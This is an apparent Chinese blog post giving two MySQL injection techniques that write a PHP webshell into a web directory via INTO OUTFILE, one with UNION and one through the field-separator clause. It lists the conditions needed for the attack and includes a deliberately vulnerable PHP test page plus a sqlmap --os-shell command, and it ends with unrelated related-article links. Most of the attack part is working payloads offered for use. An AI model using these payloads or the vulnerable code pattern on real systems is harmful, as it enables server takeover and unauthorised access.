MySQL注入两种写入一句话快速拿WebShell的方法

利用需要满足以下条件

root权限 GPC关闭(能使用单引号) 有绝对路径(读文件可以不用,写文件必须) 没有配置–secure-file-priv

1.union

id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’%23

<? phpinfo(); ?>为写入的内容可添加自己的一句话  /home/wwwroot/lu4n.com/luan_phpinfo.php 为已存在的网站目录下的文件即插入文件名

2.no union

id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23

第二种方法最早最早是在吐司的一个 2015-1-24 的帖子里看到的,吐司果然大牛多。

效果如下:

这里用的第二种方法是通过插入分隔符号来GetShell的,所以必须查询结果有多个列 一般情况下的注入点都是符合条件的。

SqlMap利用方法

以luan_test.php为例:

<?php

@$link= mysql_connect("localhost","root","");

mysql_select_db("mysql",$link);

$user = strtolower($_GET['user']);

if(strpos($user,"union") === false){

$sql= "SELECT * FROM user where user='{$user}'";

echo $sql . '<br>';

mysql_query($sql);

echo mysql_errno() . ": " . mysql_error(). " ";

}

?>

经测试,SqlMap最新版实际是支持这个方法的:

python sqlmap.py -u “http://192.168.2.200/luan_test.php?user=root” –os-shell

但是,如果–os-shell用不了,SqlMap有个写文件的选项,经测试不成功。

也就是说,SqlMap只能传自己的WebShell

如果工具党遇到这种情况,直接使用SqlMap –os-shell然后用SqlMap上传的WebShell来操作就可以了

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏CSDN技术头条

ASM翻译系列第三弹:ASM disk的基础知识

ASM翻译系列导读: ASM翻译系列第三弹:ASM disk的基础知识:http://geek.csdn.net/news/detail/80926 ASM 翻...

2189
来自专栏fixzd

redis系列:主从复制

这篇文章主要讲述Redis的主从复制功能。会依次从环境搭建、功能测试和原理分析几个方面进行介绍。

1404
来自专栏电光石火

MongoDB Web界面 管理工具Rockmongo的安装

RockMongo是PHP5写的一个MongoDB管理工具。 通过 Rockmongo 你可以管理 MongoDB服务,数据库,集合,文档,索引等等。...

2977
来自专栏androidBlog

Git 配置别名 —— 让命令变得更简单

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/gdutxiaoxu/article/de...

1371
来自专栏云计算教程系列

四步教你搭建保护MySQL服务器!

MySQL是一个着名的开源数据库管理系统,用于存储和检索各种流行应用程序的数据。MySQL是LAMP中的M,LAMP是一组常用的开源软件,其中还包括了Linux...

4123
来自专栏电光石火

MongoDB Web界面 管理工具Rockmongo的安装

RockMongo是PHP5写的一个MongoDB管理工具。

5527
来自专栏有困难要上,没有困难创造困难也要上!

Electron 打包时下载 xxx-electron-v1.6.8-<arch>-x64.zip 文件出错

2197
来自专栏云计算教程系列

如何在Ubuntu 14.04上安装LAMP [快速入门]

LAMP堆栈(Linux,Apache,MySQL,PHP)是一组开源软件,通常安装在一起,使服务器能够托管动态PHP网站和Web应用程序。本教程将介绍在单个服...

1960
来自专栏人工智能LeadAI

ElasticSearch优化系列一:集群节点规划

节点职责单一,各司其职 elasticSearch的配置文件中有2个参数:node.master和node.data。这两个参 数搭配使用时,能够帮助提供...

3844
来自专栏Python、Flask、Django

PHP开启临时WEB服务器

2043

扫码关注云+社区

领取腾讯云代金券